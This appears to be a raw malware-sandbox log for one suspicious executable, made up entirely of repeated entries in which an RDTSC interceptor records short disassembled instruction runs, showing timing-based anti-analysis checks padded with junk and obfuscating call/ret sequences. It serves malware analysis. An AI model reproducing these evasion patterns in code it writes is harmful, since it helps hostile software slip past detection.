Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E412EC second address: E41304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3C24EA6E4Bh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E41304 second address: E41308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E41308 second address: E4130C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E415E0 second address: E415E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4170D second address: E41711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E41D3C second address: E41D46 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3C25696DA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E41D46 second address: E41D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E41FCB second address: E41FCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E41FCF second address: E41FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E51h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E42168 second address: E4216E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E423F0 second address: E423FA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3C24EA6E46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E423FA second address: E423FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4774B second address: E47751 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E47751 second address: E47757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4C9BA second address: E4C9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4C9C5 second address: E4C9C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4CC98 second address: E4CCAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E4Eh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4CE38 second address: E4CE3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4F1CB second address: E4F1CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4F1CF second address: E4F1FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3C25696DB8h 0x0000000b popad 0x0000000c push eax 0x0000000d jns 00007F3C25696DB8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007F3C25696DA6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4F1FD second address: E4F224 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3C24EA6E46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F3C24EA6E57h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4F224 second address: E4F23B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3C25696DACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4F23B second address: E4F242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4F242 second address: E4F248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E4F594 second address: E4F59A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5004D second address: E5005B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F3C25696DA6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E50382 second address: E5038C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F3C24EA6E46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5038C second address: E50390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E509A2 second address: E50A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 mov esi, dword ptr [ebp+122D2BD2h] 0x0000000c push 00000000h 0x0000000e jmp 00007F3C24EA6E58h 0x00000013 jbe 00007F3C24EA6E53h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F3C24EA6E48h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 sbb edi, 78A5AC37h 0x0000003b pushad 0x0000003c movzx ecx, di 0x0000003f adc bx, 6CBCh 0x00000044 popad 0x00000045 xchg eax, ebx 0x00000046 push eax 0x00000047 push edx 0x00000048 jo 00007F3C24EA6E48h 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E50A15 second address: E50A37 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3C25696DA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jmp 00007F3C25696DB1h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E51CF6 second address: E51D0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E53A8B second address: E53AA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3C25696DB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E53AA6 second address: E53AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F3C24EA6E48h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 or si, 7500h 0x00000027 jng 00007F3C24EA6E49h 0x0000002d push 00000000h 0x0000002f mov esi, dword ptr [ebp+122D1D50h] 0x00000035 push 00000000h 0x00000037 jg 00007F3C24EA6E52h 0x0000003d ja 00007F3C24EA6E4Ch 0x00000043 push eax 0x00000044 jc 00007F3C24EA6E4Eh 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E54589 second address: E5458E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5432F second address: E54339 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E54339 second address: E5433D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E59B6C second address: E59B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E59B70 second address: E59BF3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F3C25696DA8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 jmp 00007F3C25696DB3h 0x00000029 push 00000000h 0x0000002b jmp 00007F3C25696DABh 0x00000030 push 00000000h 0x00000032 mov di, cx 0x00000035 xchg eax, esi 0x00000036 jnl 00007F3C25696DAEh 0x0000003c push eax 0x0000003d jp 00007F3C25696DC6h 0x00000043 pushad 0x00000044 jmp 00007F3C25696DB8h 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E59D6B second address: E59D6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5AEC7 second address: E5AEFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3C25696DB1h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jmp 00007F3C25696DB6h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E59D6F second address: E59D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F3C24EA6E4Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5D0F6 second address: E5D0FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5DD71 second address: E5DD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E59D85 second address: E59E1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F3C25696DA8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b add dword ptr [ebp+122D310Eh], edi 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F3C25696DA8h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 mov eax, dword ptr [ebp+122D074Dh] 0x00000058 push 00000000h 0x0000005a push edx 0x0000005b call 00007F3C25696DA8h 0x00000060 pop edx 0x00000061 mov dword ptr [esp+04h], edx 0x00000065 add dword ptr [esp+04h], 00000018h 0x0000006d inc edx 0x0000006e push edx 0x0000006f ret 0x00000070 pop edx 0x00000071 ret 0x00000072 push FFFFFFFFh 0x00000074 mov dword ptr [ebp+124602A8h], edx 0x0000007a push eax 0x0000007b pushad 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5D0FC second address: E5D100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E59E1E second address: E59E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C25696DB1h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5AFC5 second address: E5AFD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3C24EA6E4Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5D100 second address: E5D104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E59E38 second address: E59E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5DFE2 second address: E5DFF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F3C25696DA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5F05A second address: E5F06E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3C24EA6E50h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5DFF2 second address: E5DFF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E62535 second address: E6253A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6253A second address: E6257B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3C25696DAAh 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F3C25696DAAh 0x00000013 nop 0x00000014 or dword ptr [ebp+122D2D2Ch], edi 0x0000001a push 00000000h 0x0000001c add ebx, dword ptr [ebp+122D353Ah] 0x00000022 push 00000000h 0x00000024 mov ebx, edx 0x00000026 xchg eax, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c jmp 00007F3C25696DAAh 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E63539 second address: E63544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E62804 second address: E62808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E63544 second address: E63549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E63549 second address: E63553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F3C25696DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E64527 second address: E6452B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6452B second address: E6452F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6452F second address: E6453B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6453B second address: E6454D instructions: 0x00000000 rdtsc 0x00000002 js 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F3C25696DACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E66596 second address: E6659C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E636EB second address: E636F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6767A second address: E67680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E65866 second address: E6586A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6379B second address: E637B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3C24EA6E53h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6586A second address: E65874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E65874 second address: E65878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E68785 second address: E68798 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jp 00007F3C25696DA6h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E67840 second address: E67858 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F3C24EA6E4Ch 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E697BD second address: E697C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E697C2 second address: E697C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E697C8 second address: E6980E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F3C25696DA8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D27A6h], edi 0x0000002b push 00000000h 0x0000002d mov edi, 52579C5Fh 0x00000032 push 00000000h 0x00000034 cld 0x00000035 xchg eax, esi 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 push ebx 0x0000003a pop ebx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6980E second address: E69812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6A8D5 second address: E6A8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E69A5A second address: E69A64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F3C24EA6E46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E69A64 second address: E69A68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E6E804 second address: E6E809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E72A99 second address: E72A9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E72A9F second address: E72AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E0E47E second address: E0E483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E0E483 second address: E0E488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E0E488 second address: E0E498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F3C25696DA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E7227E second address: E7228B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3C24EA6E48h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E7228B second address: E72293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E7264D second address: E72651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E791E8 second address: E791EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1A3A3 second address: E1A3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1A3A9 second address: E1A3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
